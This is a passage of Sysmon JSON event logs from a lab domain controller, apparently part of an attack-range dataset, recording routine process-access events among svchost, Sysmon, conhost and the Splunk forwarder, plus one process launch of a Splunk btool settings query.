C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.172","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1573,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.172\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.172","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1574,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.172\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.172","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1575,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.172\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.172","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1576,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.172\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.172","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1577,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.172\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.172","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1578,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.172\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.172","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1579,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.172\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-001027CB0200}\r\nTargetProcessId: 3800\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.172","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-001027CB0200}","TargetProcessId":"3800","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1580,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.182\r\nProcessGuid: {90617006-3FE5-5F2D-0000-001057CC0200}\r\nProcessId: 3820\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: C:\\Windows\\system32\\cmd.exe /c btool web list settings --no-log\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-3FE5-5F2D-0000-001027CB0200}\r\nParentProcessId: 3800\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal_extra_splunkd_service_args","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.182","ProcessGuid":"{90617006-3FE5-5F2D-0000-001057CC0200}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"C:\\Windows\\system32\\cmd.exe /c btool web list settings --no-log","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT 